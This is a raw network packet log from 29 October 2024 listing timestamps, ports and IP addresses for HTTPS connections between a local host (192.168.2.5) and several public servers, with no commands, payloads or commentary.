Oct 29, 2024 02:46:32.451781034 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.451803923 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.452687979 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.454471111 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.454550028 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.454665899 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.495359898 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.559526920 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.559533119 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.676378012 CET	443	49786	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:32.707129955 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.707187891 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.707195997 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.711353064 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.711441994 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.711447001 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.720369101 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.720426083 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.720431089 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.729806900 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.729878902 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.729885101 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.738746881 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.738810062 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.738815069 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.747818947 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.747905016 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.747915983 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.801115990 CET	443	49786	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:32.801193953 CET	49786	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:32.802134991 CET	49786	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:32.802143097 CET	443	49786	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:32.828634024 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.828694105 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.828701019 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.828717947 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.828885078 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.828890085 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.831479073 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.831532955 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.831538916 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.834253073 CET	49819	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:32.834264994 CET	443	49819	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:32.834461927 CET	49819	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:32.835171938 CET	49819	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:32.835179090 CET	443	49819	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:32.835848093 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.835930109 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.835942030 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.844734907 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.844794035 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.844803095 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.853931904 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.854011059 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.854017973 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.862746000 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.862812042 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.862817049 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.871695042 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.871754885 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.871762991 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.875583887 CET	49820	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:32.875653982 CET	443	49820	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:32.875734091 CET	49820	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:32.875914097 CET	49820	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:32.875946045 CET	443	49820	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:32.881091118 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.881165028 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.881170988 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.890142918 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.890229940 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.890234947 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.899188042 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.899251938 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.899256945 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.907538891 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.907608986 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.907617092 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.915291071 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.915523052 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.915529013 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.923243999 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.923741102 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.923747063 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.950052023 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.950128078 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.950133085 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.950236082 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.950321913 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.950372934 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.950377941 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.950417995 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.950745106 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.955610037 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.955667019 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.955672026 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.959716082 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.959788084 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.959794998 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.965090990 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.965141058 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.965146065 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.969969988 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.970056057 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.970067978 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.970074892 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.970117092 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.974993944 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.979965925 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.980045080 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.980051041 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.984783888 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.984838009 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.984843969 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.989717007 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.989794970 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.989800930 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.989828110 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.989907026 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.994632959 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.999540091 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.999561071 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.999589920 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:32.999594927 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:32.999640942 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:33.001132965 CET	443	49810	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.002177954 CET	49810	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.002217054 CET	443	49810	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.002953053 CET	49810	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.002965927 CET	443	49810	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.004375935 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.006088972 CET	443	49813	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.006766081 CET	49813	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.006789923 CET	443	49813	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.007617950 CET	49813	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.007627010 CET	443	49813	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.009279966 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.009510994 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.009542942 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:33.009551048 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.009593010 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:33.012104988 CET	443	49812	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.012424946 CET	49812	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.012443066 CET	443	49812	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.012871981 CET	49812	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.012876987 CET	443	49812	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.014343977 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.019247055 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.019277096 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.019295931 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:33.019300938 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.020028114 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:33.020909071 CET	443	49814	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.024375916 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.029131889 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.029160023 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.029203892 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:33.029208899 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.029247046 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:33.033646107 CET	443	49811	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.034034967 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.039119005 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.039191008 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.039228916 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:33.039237976 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.039278030 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:33.044123888 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.049173117 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.049217939 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.049263000 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:33.049268961 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.049304962 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:33.050502062 CET	49814	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.050520897 CET	443	49814	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.050945044 CET	49814	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.050949097 CET	443	49814	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.054069042 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.059020996 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.059067965 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:33.059072971 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.063452005 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.063530922 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.063571930 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:33.063577890 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.063618898 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:33.068941116 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.072387934 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.072419882 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.072446108 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:33.072452068 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.072495937 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:33.076860905 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.082427979 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.082453966 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.082496881 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:33.082503080 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.082540989 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:33.082675934 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:33.082704067 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.082801104 CET	443	49794	172.217.18.1	192.168.2.5
Oct 29, 2024 02:46:33.082847118 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:33.082856894 CET	49794	443	192.168.2.5	172.217.18.1
Oct 29, 2024 02:46:33.111561060 CET	443	49807	18.244.18.32	192.168.2.5
Oct 29, 2024 02:46:33.130752087 CET	49807	443	192.168.2.5	18.244.18.32
Oct 29, 2024 02:46:33.130795956 CET	443	49807	18.244.18.32	192.168.2.5
Oct 29, 2024 02:46:33.134187937 CET	443	49810	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.134386063 CET	443	49810	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.134458065 CET	49810	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.134624004 CET	443	49807	18.244.18.32	192.168.2.5
Oct 29, 2024 02:46:33.134684086 CET	49807	443	192.168.2.5	18.244.18.32
Oct 29, 2024 02:46:33.137291908 CET	443	49813	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.137485027 CET	443	49813	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.137537956 CET	49813	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.142961979 CET	443	49812	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.143002033 CET	443	49812	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.144047022 CET	49812	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.150237083 CET	49811	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.180861950 CET	443	49814	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.180969000 CET	443	49814	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.181163073 CET	49814	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.239419937 CET	49811	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.239459991 CET	443	49811	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.239918947 CET	49811	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.239926100 CET	443	49811	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.240113974 CET	49814	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.240138054 CET	443	49814	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.240151882 CET	49814	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.240159035 CET	443	49814	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.372104883 CET	443	49811	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.372234106 CET	443	49811	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.372284889 CET	49811	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.405009031 CET	49810	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.405009031 CET	49810	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.405073881 CET	443	49810	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.405106068 CET	443	49810	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.411211967 CET	49813	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.411231995 CET	443	49813	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.411246061 CET	49813	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.411257029 CET	443	49813	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.412343979 CET	49812	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.412360907 CET	443	49812	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.412370920 CET	49812	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.412374973 CET	443	49812	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.447243929 CET	49811	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.447274923 CET	443	49811	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.447285891 CET	49811	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.447293043 CET	443	49811	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.454432964 CET	49821	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.454453945 CET	443	49821	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.454515934 CET	49821	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.454722881 CET	49822	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.454741001 CET	443	49822	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.454827070 CET	49822	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.455836058 CET	49823	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.455847025 CET	443	49823	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.455894947 CET	49823	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.455988884 CET	49824	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.456032038 CET	443	49824	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.456131935 CET	49824	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.456676006 CET	49825	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.456708908 CET	443	49825	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.456952095 CET	49825	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.456994057 CET	49821	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.457005024 CET	443	49821	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.457081079 CET	49822	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.457093000 CET	443	49822	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.457314014 CET	49823	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.457320929 CET	443	49823	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.457433939 CET	49824	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.457462072 CET	443	49824	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.457499981 CET	49825	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.457514048 CET	443	49825	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.465759039 CET	49807	443	192.168.2.5	18.244.18.32
Oct 29, 2024 02:46:33.466021061 CET	443	49807	18.244.18.32	192.168.2.5
Oct 29, 2024 02:46:33.569325924 CET	49807	443	192.168.2.5	18.244.18.32
Oct 29, 2024 02:46:33.569346905 CET	443	49807	18.244.18.32	192.168.2.5
Oct 29, 2024 02:46:33.681545019 CET	49807	443	192.168.2.5	18.244.18.32
Oct 29, 2024 02:46:33.742547035 CET	49826	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:33.742588997 CET	443	49826	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:33.742643118 CET	49826	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:33.742960930 CET	49827	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:33.742980003 CET	443	49827	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:33.743030071 CET	49827	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:33.743258953 CET	49826	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:33.743273020 CET	443	49826	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:33.743366003 CET	49827	443	192.168.2.5	162.159.61.3
Oct 29, 2024 02:46:33.743379116 CET	443	49827	162.159.61.3	192.168.2.5
Oct 29, 2024 02:46:33.760304928 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.760317087 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.760370970 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.760909081 CET	49829	443	192.168.2.5	172.64.41.3
Oct 29, 2024 02:46:33.760935068 CET	443	49829	172.64.41.3	192.168.2.5
Oct 29, 2024 02:46:33.760976076 CET	49829	443	192.168.2.5	172.64.41.3
Oct 29, 2024 02:46:33.762662888 CET	49829	443	192.168.2.5	172.64.41.3
Oct 29, 2024 02:46:33.762680054 CET	443	49829	172.64.41.3	192.168.2.5
Oct 29, 2024 02:46:33.763109922 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:33.763124943 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:33.941221952 CET	443	49819	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:33.941288948 CET	49819	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:33.964436054 CET	49819	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:33.964443922 CET	443	49819	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:33.964663029 CET	443	49819	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:33.965051889 CET	49819	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:33.965075970 CET	49819	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:33.965111971 CET	443	49819	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:33.970868111 CET	443	49820	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:33.987485886 CET	49820	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:33.987517118 CET	443	49820	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:33.988154888 CET	49820	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:33.988168001 CET	443	49820	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:33.988220930 CET	49820	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:33.988239050 CET	443	49820	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:34.186769962 CET	443	49823	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.187469959 CET	49823	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.187493086 CET	443	49823	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.187973976 CET	49823	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.187978029 CET	443	49823	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.188261032 CET	443	49822	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.188638926 CET	49822	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.188659906 CET	443	49822	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.189080000 CET	49822	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.189086914 CET	443	49822	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.193485022 CET	443	49825	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.193850040 CET	49825	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.193876028 CET	443	49825	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.194993019 CET	49825	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.195002079 CET	443	49825	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.196377039 CET	443	49824	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.196693897 CET	49824	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.196717978 CET	443	49824	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.197078943 CET	49824	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.197084904 CET	443	49824	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.218327045 CET	443	49821	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.218679905 CET	49821	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.218693018 CET	443	49821	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.219166994 CET	49821	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.219172001 CET	443	49821	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.297236919 CET	49831	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:34.297288895 CET	443	49831	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:34.297383070 CET	49831	443	192.168.2.5	13.107.246.45
